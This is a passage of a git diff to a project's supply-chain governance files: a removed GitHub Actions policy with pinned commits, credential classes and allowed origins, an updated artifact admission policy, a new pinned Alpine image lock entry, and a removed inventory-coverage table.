"persist-credentials": false - }, - "credential_classes": [ - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "protected-branch" - ] - }, - { - "use_id": "scorecard/analysis/check-out-repository", - "workflow": ".github/workflows/scorecard.yml", - "job": "analysis", - "step": "Check out repository", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "persist-credentials": false - }, - "credential_classes": [ - "actions-artifact-token", - "github-oidc", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "protected-branch", - "scheduled" - ] - }, - { - "use_id": "scorecard/analysis/harden-runner", - "workflow": ".github/workflows/scorecard.yml", - "job": "analysis", - "step": "Harden runner", - "action": "step-security/harden-runner", - "commit": "e14015d583714f6e62063499dc959a02595150a1", - "inputs": { - "egress-policy": "audit" - }, - "credential_classes": [ - "actions-artifact-token", - "github-oidc", - "github-token" - ], - "allowed_origins": [ - "agent.api.stepsecurity.io", - "api.github.com", - "api.stepsecurity.io", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "harden-runner", - "trust_classes": [ - "protected-branch", - "scheduled" - ] - }, - { - "use_id": "scorecard/analysis/run-scorecard", - "workflow": ".github/workflows/scorecard.yml", - "job": "analysis", - "step": "Run Scorecard", - "action": "ossf/scorecard-action", - "commit": "2d1146689b8cda280b9bc96326124645441f03bc", - "inputs": { - "results_file": "results.sarif", - "results_format": "sarif", - "publish_results": "true" - }, - "credential_classes": [ - "actions-artifact-token", - "github-oidc", - "github-token" - ], - "allowed_origins": [ - "api.deps.dev", - "api.github.com", - "api.osv.dev", - "api.scorecard.dev", - "codeload.github.com", - "fulcio.sigstore.dev", - "ghcr.io", - "github.com", - "oss-fuzz-build-logs.storage.googleapis.com", - "rekor.sigstore.dev", - "tuf-repo-cdn.sigstore.dev", - "www.bestpractices.dev" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "scorecard", - "trust_classes": [ - "protected-branch", - "scheduled" - ] - }, - { - "use_id": "scorecard/analysis/upload-scorecard-artifact", - "workflow": ".github/workflows/scorecard.yml", - "job": "analysis", - "step": "Upload Scorecard artifact", - "action": "actions/upload-artifact", - "commit": "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", - "inputs": { - "name": "scorecard-results", - "path": "results.sarif", - "retention-days": 5, - "if-no-files-found": "error" - }, - "credential_classes": [ - "actions-artifact-token", - "github-oidc", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_role": "none", - "artifact_role": "write-trusted", - "source_id": "upload-artifact-direct", - "trust_classes": [ - "protected-branch", - "scheduled" - ] - }, - { - "use_id": "scorecard/analysis/upload-scorecard-results-to-code-scanning", - "workflow": ".github/workflows/scorecard.yml", - "job": "analysis", - "step": "Upload Scorecard results to code scanning", - "action": "github/codeql-action/upload-sarif", - "commit": "cdf488f595d80d6e07e03d4674febd5ab45fa938", - "inputs": { - "sarif_file": "results.sarif" - }, - "credential_classes": [ - "actions-artifact-token", - "github-oidc", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com", - "uploads.github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "codeql-upload-sarif", - "trust_classes": [ - "protected-branch", - "scheduled" - ] - }, - { - "use_id": "bootstrap-qualification/development-image/actions/checkout", - "workflow": ".github/workflows/bootstrap-qualification.yml", - "job": "development-image", - "step": "actions/checkout", - "action": "actions/checkout", - "commit": "3d3c42e5aac5ba805825da76410c181273ba90b1", - "inputs": { - "persist-credentials": false - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "checkout", - "trust_classes": [ - "manual", - "untrusted-pr" - ] - }, - { - "use_id": "bootstrap-qualification/development-image/actions/setup-python", - "workflow": ".github/workflows/bootstrap-qualification.yml", - "job": "development-image", - "step": "actions/setup-python", - "action": "actions/setup-python", - "commit": "5fda3b95a4ea91299a34e894583c3862153e4b97", - "inputs": { - "python-version": "3.14.7" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com", - "releases.astral.sh" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-python-direct", - "trust_classes": [ - "manual", - "untrusted-pr" - ] - }, - { - "use_id": "bootstrap-qualification/development-image/install-exact-uv-payload", - "workflow": ".github/workflows/bootstrap-qualification.yml", - "job": "development-image", - "step": "Install exact uv payload", - "action": "astral-sh/setup-uv", - "commit": "20cfd1bf945f4377ade1205e4dbc17946fc9a30d", - "inputs": { - "version": "0.12.4", - "enable-cache": false - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "api.github.com", - "codeload.github.com", - "github.com" - ], - "cache_role": "none", - "artifact_role": "none", - "source_id": "setup-uv", - "trust_classes": [ - "manual", - "untrusted-pr" - ] - }, - { - "use_id": "bootstrap-qualification/development-image/retain-bounded-clean-image-evidence", - "workflow": ".github/workflows/bootstrap-qualification.yml", - "job": "development-image", - "step": "Retain bounded clean-image evidence", - "action": "actions/upload-artifact", - "commit": "043fb46d1a93c77aae656e7c1c64a875d1fc6a0a", - "inputs": { - "name": "development-image-${{ github.sha }}", - "path": "development-image-qualification.json", - "if-no-files-found": "error" - }, - "credential_classes": [ - "actions-artifact-token", - "github-token" - ], - "allowed_origins": [ - "*.blob.core.windows.net", - "api.github.com", - "codeload.github.com", - "github.com", - "results-receiver.actions.githubusercontent.com" - ], - "cache_role": "none", - "artifact_role": "write-untrusted", - "source_id": "upload-artifact-direct", - "trust_classes": [ - "manual", - "untrusted-pr" - ] - } - ], - "local_workflows": [ - { - "path": "./.github/workflows/canonical-verification.yml", - "caller_workflow": ".github/workflows/ci.yml", - "caller_job": "canonical", - "inputs": { - "ref": "${{ github.sha }}", - "base-rev": "${{ github.event.pull_request.base.sha || github.event.before || github.sha }}", - "requirement-branch": "${{ github.head_ref || github.ref_name }}" - }, - "permissions": { - "contents": "read" - } - }, - { - "path": "./.github/workflows/canonical-verification.yml", - "caller_workflow": ".github/workflows/release-please.yml", - "caller_job": "verify-release", - "inputs": { - "ref": "${{ needs.resolve-release.outputs.release_sha }}", - "base-rev": "${{ needs.resolve-release.outputs.base_sha }}" - }, - "permissions": { - "contents": "read" - } - } - ], - "dependabot": { - "version": 2, - "updates": [ - { - "package-ecosystem": "github-actions", - "directory": "/", - "target-branch": "dev", - "schedule": { - "interval": "weekly" - }, - "open-pull-requests-limit": 5, - "groups": { - "github-actions": { - "patterns": [ - "*" - ] - } - } - }, - { - "package-ecosystem": "pip", - "directory": "/implementations/python", - "target-branch": "dev", - "schedule": { - "interval": "weekly" - }, - "open-pull-requests-limit": 5, - "groups": { - "python-minor-patch": { - "patterns": [ - "*" - ], - "update-types": [ - "minor", - "patch" - ] - } - }, - "ignore": [ - { - "dependency-name": "z3-solver" - } - ] - } - ] - }, - "protected_refs": [ - "refs/heads/main", - "refs/heads/dev" - ] -} diff --git a/implementations/tooling/admission-policy.json b/implementations/tooling/admission-policy.json index cacff5ebd..3538572ab 100644 --- a/implementations/tooling/admission-policy.json +++ b/implementations/tooling/admission-policy.json @@ -1,34 +1,63 @@ { "schema_version": "raes-development-admission-policy/v1", - "policy_revision": "2026-09-07", + "policy_revision": "2026-09-15", "policies": [ { "policy_id": "artifact-integrity-v1", "subject": "artifact", "status": "active", "accepted_evidence": ["raw-sha256", "installed-sha256", "installed-runtime-identity", "exact-size", "absent-signature-review", "reviewed-consumer-reference"], - "reviewer_roles": ["Security", "Tooling"] + "reviewer_roles": ["Maintainer"] }, { "policy_id": "source-snapshot-integrity-v1", "subject": "source-snapshot", "status": "active", "accepted_evidence": ["raw-sha256", "installed-sha256", "exact-size", "checked-in-byte-sha256", "incumbent-source-digest", "absent-signature-review"], - "reviewer_roles": ["Security", "Semantics"] + "reviewer_roles": ["Maintainer"] }, { "policy_id": "action-source-v1", "subject": "action", "status": "active", "accepted_evidence": ["git-commit-sha", "reviewed-workflow-reference"], - "reviewer_roles": ["Security", "Tooling"] + "reviewer_roles": ["Maintainer"] + }, + { + "policy_id": "release-producer-v1", + "subject": "release-artifact", + "status": "active", + "accepted_evidence": ["build-provenance-attestation", "exact-output-digest"], + "reviewer_roles": ["Maintainer"] + }, + { + "policy_id": "oci-graph-v1", + "subject": "oci-image", + "status": "active", + "accepted_evidence": [ + "oci-index-digest", + "oci-platform-graph-digests", + "absent-signature-review", + "reviewed-consumer-reference" + ], + "reviewer_roles": ["Maintainer"] }, { "policy_id": "oci-input-v1", "subject": "oci-image", "status": "active", "accepted_evidence": ["oci-index-digest", "absent-signature-review", "reviewed-consumer-reference"], - "reviewer_roles": ["Backend", "Security"] + "reviewer_roles": ["Maintainer"] + } + ], + "release_producers": [ + { + "producer_id": "github-actions-release-please", + "issuer": "https://token.actions.githubusercontent.com", + "repository": "OpenRAE/rae", + "workflow_ref": "OpenRAE/rae/.github/workflows/release-please.yml@refs/heads/main", + "signer_workflow": "OpenRAE/rae/.github/workflows/release-please.yml", + "reviewer_roles": ["Maintainer"] } ], "denied_digests": [] diff --git a/implementations/tooling/artifacts.lock.json b/implementations/tooling/artifacts.lock.json index 6279183b8..d9ba0514f 100644 --- a/implementations/tooling/artifacts.lock.json +++ b/implementations/tooling/artifacts.lock.json @@ -743,6 +743,65 @@ } ] }, + { + "artifact_id": "release-test-alpine", + "artifact_class": "oci-image", + "version": "3.20.10", + "support_level": "blocking", + "owner": "Backend", + "consumers": ["reference-backend-test", "release"], + "trust_root_refs": ["docker-official-images-index-digest"], + "availability_class": "R", + "retention_class": "supported-input", + "license": {"spdx": "NOASSERTION", "redistribution": "not-applicable", "review_ref": "issue-1223"}, + "authenticity": {"status": "absent-reviewed", "decision_ref": "issue-1223-oci-mirror-preseed-review"}, + "policy_refs": ["oci-graph-v1"], + "source": { + "repository": "https://github.com/alpinelinux/docker-alpine", + "release": "sha256:d9e853e87e55526f6b2917df91a2115c36dd7c696a35be12163d44e6e2a4b6bc", + "asset": "docker.io/library/alpine", + "locator_refs": ["docker-official-images-registry"] + }, + "platforms": [ + { + "platform_id": "linux-x86_64", + "source_urls": ["https://registry-1.docker.io/v2/library/alpine/manifests/sha256:c64c687cbea9300178b30c95835354e34c4e4febc4badfe27102879de0483b5e"], + "raw_manifest": [{"path": "alpine-3.20.10-linux-amd64-manifest.json", "sha256": "c64c687cbea9300178b30c95835354e34c4e4febc4badfe27102879de0483b5e", "size": 1023}], + "installed_identity": {"implementation": "OCI image", "version": "3.20.10", "abi": "oci-manifest-v1", "target": "linux-x86_64"}, + "oci_graph": { + "index": {"digest": "sha256:d9e853e87e55526f6b2917df91a2115c36dd7c696a35be12163d44e6e2a4b6bc", "size": 9226}, + "manifest": {"digest": "sha256:c64c687cbea9300178b30c95835354e34c4e4febc4badfe27102879de0483b5e", "size": 1023}, + "config": {"digest": "sha256:bf8527eb54c3680e728d5b4b383a8ba730d72dae7236fbc8dff97ed6b224a731", "size": 612}, + "layers": [{"digest": "sha256:25f1d6b1951ac8eb3740558fe94cb83d377bdadf95fd9f98b50d2e1b96130471", "size": 3630321}], + "diff_ids": ["sha256:08bc4e534116aa76b16015484b82eac51f9a593416feae9296c8a2d4bb7aa4a2"], + "architecture": "amd64", + "os": "linux" + }, + "dependencies": [], + "profile_ids": ["public-linux-x86_64"], + "host_profile_ids": ["public-ubuntu-24.04-x86_64"] + }, + { + "platform_id": "linux-arm64", + "source_urls": ["https://registry-1.docker.io/v2/library/alpine/manifests/sha256:45e09956dc667c5eff3583c9d94830261fb1ca0be10a0a7db36266edf5de9e1d"], + "raw_manifest": [{"path": "alpine-3.20.10-linux-arm64-manifest.json", "sha256": "45e09956dc667c5eff3583c9d94830261fb1ca0be10a0a7db36266edf5de9e1d", "size": 1026}], + "installed_identity": {"implementation": "OCI image", "version": "3.20.10", "abi": "oci-manifest-v1", "target": "linux-arm64"}, + "oci_graph": { + "index": {"digest": "sha256:d9e853e87e55526f6b2917df91a2115c36dd7c696a35be12163d44e6e2a4b6bc", "size": 9226}, + "manifest": {"digest": "sha256:45e09956dc667c5eff3583c9d94830261fb1ca0be10a0a7db36266edf5de9e1d", "size": 1026}, + "config": {"digest": "sha256:ab3fe4defd29ba6231229a4d41440ac8bde8218e85870e53876277faa24b35c4", "size": 628}, + "layers": [{"digest": "sha256:3f26bc2dec0b515f1c2818f6e13a8f1da1f88179a008445d4e587233386bff78", "size": 4092319}], + "diff_ids": ["sha256:88b4fba61c4c714a2fc173ddf7e9324a257304696830bf41ad28ecc58c11c95f"], + "architecture": "arm64", + "os": "linux", + "variant": "v8" + }, + "dependencies": [], + "profile_ids": ["public-linux-arm64"], + "host_profile_ids": ["public-linux-arm64"] + } + ] + }, { "artifact_id": "cirros-guest-disk", "artifact_class": "vm-base-image", diff --git a/implementations/tooling/inventory-coverage.json b/implementations/tooling/inventory-coverage.json deleted file mode 100644 index 0eb326162..000000000 --- a/implementations/tooling/inventory-coverage.json +++ /dev/null @@ -1,161 +0,0 @@ -{ - "schema_version": "raes-development-inventory-coverage/v1", - "inventory_source": "docs/decisions/package-artifacts/inventory.md", - "rows": [ - { - "inventory_id": "I01", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Security", "Tooling"], "consumers": ["docs", "runtime", "tests"], - "trust_root_refs": ["implementations/python/uv.lock"], "availability_class": "R", "retention_class": "supported-input", - "disposition": "delegated", "authority_refs": ["implementations/python/pyproject.toml", "implementations/python/uv.lock"], - "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1218 - }, - { - "inventory_id": "I02", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Tooling"], "consumers": ["hooks", "nox", "workflows"], - "trust_root_refs": ["reviewed-python-tool-resolution"], "availability_class": "R", "retention_class": "supported-input", - "disposition": "locked", "authority_refs": ["implementations/tooling/python/pyproject.toml", "implementations/tooling/python/uv.lock", "implementations/tooling/profiles/development-profiles.json", "tools/python_closure.py"], - "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1218 - }, - { - "inventory_id": "I03", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Release", "Tooling"], "consumers": ["build", "release-smoke"], - "trust_root_refs": ["reviewed-build-closure"], "availability_class": "R", "retention_class": "supported-input", - "disposition": "locked", "authority_refs": ["implementations/python/pyproject.toml", "implementations/python/hatch_build.py", "implementations/tooling/python/build-constraints.txt", "implementations/tooling/python/smoke", "tools/python_closure.py"], - "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1218 - }, - { - "inventory_id": "I04", "subjects": ["artifact","action"], "evidence_refs": ["reviewed-consumer-reference","reviewed-workflow-reference"], "owner_roles": ["Docs", "Tooling"], "consumers": ["bootstrap", "workflows"], - "trust_root_refs": ["reviewed-action-commit", "platform-python-distribution"], "availability_class": "R", "retention_class": "supported-input", - "disposition": "locked", "authority_refs": ["implementations/tooling/actions-policy.json", "implementations/tooling/artifacts.lock.json", "implementations/tooling/profiles/development-profiles.json", ".readthedocs.yaml"], - "policy_refs": ["action-source-v1", "artifact-integrity-v1"], "owning_issue": 1217 - }, - { - "inventory_id": "I05", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Security", "Tooling"], "consumers": ["repository-policy"], - "trust_root_refs": ["adr-106-reviewed-upstream-release"], "availability_class": "R", "retention_class": "supported-input", - "disposition": "locked", "authority_refs": ["implementations/tooling/artifacts.lock.json", "tools/maintained_client_acquisition.py", "tools/policy/conftest_tool.py"], - "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1216 - }, - { - "inventory_id": "I06", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Security", "Tooling"], "consumers": ["hygiene", "hooks"], - "trust_root_refs": ["adr-106-reviewed-upstream-release"], "availability_class": "R", "retention_class": "supported-input", - "disposition": "locked", "authority_refs": ["implementations/tooling/artifacts.lock.json", "tools/maintained_client_acquisition.py", "tools/gitleaks_tool.py"], - "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1216 - }, - { - "inventory_id": "I07", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Docs", "Tooling"], "consumers": ["documentation-style"], - "trust_root_refs": ["adr-106-reviewed-upstream-release"], "availability_class": "R", "retention_class": "supported-input", - "disposition": "locked", "authority_refs": ["implementations/tooling/artifacts.lock.json", "tools/maintained_client_acquisition.py", "tools/vale_tool.py"], - "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1216 - }, - { - "inventory_id": "I08", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Security", "Tooling"], "consumers": ["supply-chain-policy"], - "trust_root_refs": ["adr-106-reviewed-upstream-release"], "availability_class": "R", "retention_class": "supported-input", - "disposition": "locked", "authority_refs": ["implementations/tooling/artifacts.lock.json", "tools/maintained_client_acquisition.py", "tools/osv_scanner_tool.py"], - "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1216 - }, - { - "inventory_id": "I09", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Proof", "Tooling"], "consumers": ["participant-opacity-proof"], - "trust_root_refs": ["adr-106-reviewed-upstream-release"], "availability_class": "R", "retention_class": "supported-input", - "disposition": "locked", "authority_refs": ["implementations/tooling/artifacts.lock.json", "tools/isabelle_tool.py"], - "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1220 - }, - { - "inventory_id": "I10", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Platform", "Proof", "Tooling"], "consumers": ["bootstrap", "proof"], - "trust_root_refs": ["native-package-signing-roots", "runner-image"], "availability_class": "R", "retention_class": "supported-input", - "disposition": "locked", "authority_refs": ["implementations/tooling/profiles/development-profiles.json", ".github/workflows/canonical-verification.yml", "docs/decisions/package-artifacts/architecture.md"], - "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1217 - }, - { - "inventory_id": "I11", "subjects": ["oci-image"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Backend", "Release"], "consumers": ["reference-backend-test", "release"], - "trust_root_refs": ["docker.io/library/alpine@sha256:d9e853e87e55526f6b2917df91a2115c36dd7c696a35be12163d44e6e2a4b6bc"], - "availability_class": "R", "retention_class": "supported-input", "disposition": "delegated", - "authority_refs": ["implementations/python/tests/test_reference_backend_docker_integration.py"], - "policy_refs": ["oci-input-v1"], "owning_issue": 1223 - }, - { - "inventory_id": "I12", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Backend", "Platform"], "consumers": ["live-verification"], - "trust_root_refs": ["qualified-native-host-profile"], "availability_class": "L", "retention_class": "supported-input", - "disposition": "retained", "authority_refs": ["implementations/tooling/profiles/development-profiles.json", "tools/bootstrap_profile.py", "tools/real-daemon/README.md", "docs/decisions/package-artifacts/architecture.md"], - "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1217 - }, - { - "inventory_id": "I13", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Backend", "Platform"], "consumers": ["aws-live-certification"], - "trust_root_refs": ["adr-106-reviewed-upstream-release", "aws-image-identity", "native-package-signing-roots"], "availability_class": "L", "retention_class": "supported-input", - "disposition": "locked", "authority_refs": ["implementations/tooling/artifacts.lock.json", "implementations/tooling/profiles/development-profiles.json", "tools/real-daemon/live_runner_inputs.py", "tools/real-daemon/run_aws_smoke.sh", "tools/real-daemon/run_aws_guest_certify.sh"], - "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1222 - }, - { - "inventory_id": "I14", "subjects": ["source-snapshot"], "evidence_refs": ["incumbent-source-digest"], "owner_roles": ["Security", "Semantics"], "consumers": ["vocabulary-validation"], - "trust_root_refs": ["ACT-609-source-digest", "ACT-610-source-digest", "ACT-611-source-digest"], - "availability_class": "N", "retention_class": "supported-input", "disposition": "locked", - "authority_refs": ["implementations/tooling/artifacts.lock.json", "contracts/concept-authority"], - "policy_refs": ["source-snapshot-integrity-v1"], "owning_issue": 1221 - }, - { - "inventory_id": "I15", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Docs", "Release", "Semantics"], "consumers": ["documentation", "distribution-corpus"], - "trust_root_refs": ["reviewed-git-tree"], "availability_class": "R", "retention_class": "supported-input", - "disposition": "retained", "authority_refs": [".vale.ini", "styles/RAES", "contracts"], - "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1216 - }, - { - "inventory_id": "I16", "subjects": ["action"], "evidence_refs": ["reviewed-workflow-reference"], "owner_roles": ["Release", "Tooling"], "consumers": ["all-workflows", "release"], - "trust_root_refs": ["reviewed-git-commit"], "availability_class": "R", "retention_class": "supported-input", - "disposition": "locked", "authority_refs": ["implementations/tooling/actions-policy.json", ".github/workflows"], - "policy_refs": ["action-source-v1"], "owning_issue": 1216 - }, - - {"inventory_id": "A01", "subjects": ["action"], "evidence_refs": ["reviewed-workflow-reference"], "owner_roles": ["Tooling"], "consumers": ["setup-workflows"], "trust_root_refs": ["reviewed-git-commit"], "availability_class": "R", "retention_class": "supported-input", "disposition": "locked", "authority_refs": ["implementations/tooling/actions-policy.json"], "policy_refs": ["action-source-v1"], "owning_issue": 1216}, - {"inventory_id": "A02", "subjects": ["action"], "evidence_refs": ["reviewed-workflow-reference"], "owner_roles": ["Release", "Tooling"], "consumers": ["artifact-handoff", "coverage", "proof"], "trust_root_refs": ["reviewed-git-commit"], "availability_class": "R", "retention_class": "operational-cache", "disposition": "locked", "authority_refs": ["implementations/tooling/actions-policy.json"], "policy_refs": ["action-source-v1"], "owning_issue": 1216}, - {"inventory_id": "A03", "subjects": ["action"], "evidence_refs": ["reviewed-workflow-reference"], "owner_roles": ["Docs"], "consumers": ["pages-delivery"], "trust_root_refs": ["reviewed-git-commit"], "availability_class": "R", "retention_class": "release-evidence", "disposition": "locked", "authority_refs": ["implementations/tooling/actions-policy.json"], "policy_refs": ["action-source-v1"], "owning_issue": 1216}, - {"inventory_id": "A04", "subjects": ["action"], "evidence_refs": ["reviewed-workflow-reference"], "owner_roles": ["Release"], "consumers": ["release-orchestration", "pypi-publish"], "trust_root_refs": ["reviewed-git-commit", "github-oidc"], "availability_class": "R", "retention_class": "release-evidence", "disposition": "locked", "authority_refs": ["implementations/tooling/actions-policy.json"], "policy_refs": ["action-source-v1"], "owning_issue": 1216}, - {"inventory_id": "A05", "subjects": ["action"], "evidence_refs": ["reviewed-workflow-reference"], "owner_roles": ["Security", "Tooling"], "consumers": ["sonar-analysis"], "trust_root_refs": ["reviewed-git-commit"], "availability_class": "N", "retention_class": "operational-cache", "disposition": "locked", "authority_refs": ["implementations/tooling/actions-policy.json"], "policy_refs": ["action-source-v1"], "owning_issue": 1216}, - {"inventory_id": "A06", "subjects": ["action"], "evidence_refs": ["reviewed-workflow-reference"], "owner_roles": ["Security"], "consumers": ["scorecard", "code-scanning"], "trust_root_refs": ["reviewed-git-commit", "github-oidc"], "availability_class": "N", "retention_class": "release-evidence", "disposition": "locked", "authority_refs": ["implementations/tooling/actions-policy.json"], "policy_refs": ["action-source-v1"], "owning_issue": 839}, - {"inventory_id": "A07", "subjects": ["action"], "evidence_refs": ["reviewed-workflow-reference"], "owner_roles": ["Security", "Tooling"], "consumers": ["dependency-maintenance", "status-checks"], "trust_root_refs": ["github-managed-app"], "availability_class": "N", "retention_class": "operational-cache", "disposition": "delegated", "authority_refs": [".github/dependabot.yml"], "policy_refs": ["action-source-v1"], "owning_issue": 839}, - - {"inventory_id": "O01", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Release"], "consumers": ["release", "smoke-tests"], "trust_root_refs": ["verified-source-commit"], "availability_class": "R", "retention_class": "release-evidence", "disposition": "delegated", "authority_refs": [".github/workflows/release-please.yml"], "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1227}, - {"inventory_id": "O02", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Release", "Security"], "consumers": ["release-admission"], "trust_root_refs": ["verified-build-run"], "availability_class": "R", "retention_class": "release-evidence", "disposition": "delegated", "authority_refs": ["docs/decisions/package-artifacts/migration.md"], "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1226}, - {"inventory_id": "O03", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Release"], "consumers": ["github-release", "pypi"], "trust_root_refs": ["github-oidc", "verified-release-admission"], "availability_class": "R", "retention_class": "release-evidence", "disposition": "delegated", "authority_refs": [".github/workflows/release-please.yml", "docs/explain/releasing.md"], "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1227}, - {"inventory_id": "O04", "subjects": ["action"], "evidence_refs": ["reviewed-workflow-reference"], "owner_roles": ["Docs"], "consumers": ["pages", "read-the-docs"], "trust_root_refs": ["reviewed-documentation-source"], "availability_class": "R", "retention_class": "operational-cache", "disposition": "retained", "authority_refs": [".github/workflows/docs.yml", ".readthedocs.yaml"], "policy_refs": ["action-source-v1"], "owning_issue": 1218}, - - {"inventory_id": "C01", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Platform", "Tooling"], "consumers": ["local-development", "nox"], "trust_root_refs": ["admitted-upstream-bytes"], "availability_class": "L", "retention_class": "operational-cache", "disposition": "delegated", "authority_refs": ["docs/decisions/package-artifacts/architecture.md"], "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1219}, - {"inventory_id": "C02", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Proof", "Tooling"], "consumers": ["generic-tools", "proof"], "trust_root_refs": ["admitted-upstream-bytes"], "availability_class": "R", "retention_class": "operational-cache", "disposition": "delegated", "authority_refs": ["docs/decisions/package-artifacts/architecture.md"], "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1220}, - {"inventory_id": "C03", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Release", "Security", "Tooling"], "consumers": ["ci", "release-admission"], "trust_root_refs": ["verified-run-identity"], "availability_class": "L", "retention_class": "release-evidence", "disposition": "delegated", "authority_refs": [".github/workflows/canonical-verification.yml"], "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1226}, - {"inventory_id": "C04", "subjects": ["oci-image"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Backend", "Platform"], "consumers": ["containers", "live-tests"], "trust_root_refs": ["private-job-workspace"], "availability_class": "L", "retention_class": "operational-cache", "disposition": "delegated", "authority_refs": ["tools/real-daemon/README.md"], "policy_refs": ["oci-input-v1"], "owning_issue": 1223}, - - {"inventory_id": "S01", "subjects": ["artifact"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Security"], "consumers": ["vulnerability-policy"], "trust_root_refs": ["dated-vulnerability-snapshot"], "availability_class": "N", "retention_class": "release-evidence", "disposition": "delegated", "authority_refs": ["tools/osv_scanner_tool.py", "docs/decisions/package-artifacts/architecture.md"], "policy_refs": ["artifact-integrity-v1"], "owning_issue": 1225}, - {"inventory_id": "S02", "subjects": ["action"], "evidence_refs": ["reviewed-workflow-reference"], "owner_roles": ["Backend", "Docs", "Security", "Tooling"], "consumers": ["governance", "github", "sonar", "aws"], "trust_root_refs": ["external-service-identity"], "availability_class": "N", "retention_class": "operational-cache", "disposition": "retained", "authority_refs": ["docs/decisions/package-artifacts/inventory.md"], "policy_refs": ["action-source-v1"], "owning_issue": 1225}, - {"inventory_id": "D01", "subjects": ["oci-image"], "evidence_refs": ["reviewed-consumer-reference"], "owner_roles": ["Runtime"], "consumers": ["sdl-runtime"], "trust_root_refs": ["runtime-domain-authorities"], "availability_class": "L", "retention_class": "supported-input", "disposition": "prohibited", "authority_refs": ["contracts", "implementations/python/packages/raes/module_registry"], "policy_refs": ["oci-input-v1"], "owning_issue": 1205} - ], - "acquisition_paths": [ - {"path": ".devcontainer/Dockerfile", "inventory_id": "I10", "disposition": "non-acquisition-execution", "site_count": 1}, - {"path": ".github/workflows/bootstrap-qualification.yml", "inventory_id": "I03", "disposition": "governed", "site_count": 2}, - {"path": ".github/workflows/release-please.yml", "inventory_id": "I03", "disposition": "governed", "site_count": 1}, - {"path": "implementations/python/packages/raes/module_registry/__init__.py", "inventory_id": "D01", "disposition": "excluded-domain", "site_count": 2}, - {"path": "implementations/python/packages/raes_backend_libvirt/drivers/seed.py", "inventory_id": "I12", "disposition": "legacy-remediation", "site_count": 1}, - {"path": "implementations/python/packages/raes_reference_backend/drivers/oci.py", "inventory_id": "D01", "disposition": "excluded-domain", "site_count": 1}, - {"path": "implementations/python/tests/issue_1220_proof_input_harness.py", "inventory_id": "I09", "disposition": "non-acquisition-execution", "site_count": 3}, - {"path": "implementations/python/tests/test_corpus_packaging.py", "inventory_id": "I03", "disposition": "governed", "site_count": 1}, - {"path": "implementations/python/tests/test_identity_cutover_policy.py", "inventory_id": "I16", "disposition": "non-acquisition-execution", "site_count": 1}, - {"path": "implementations/python/tests/test_issue_1204_repository_governance.py", "inventory_id": "I16", "disposition": "non-acquisition-execution", "site_count": 1}, - {"path": "implementations/python/tests/test_reference_backend_docker_integration.py", 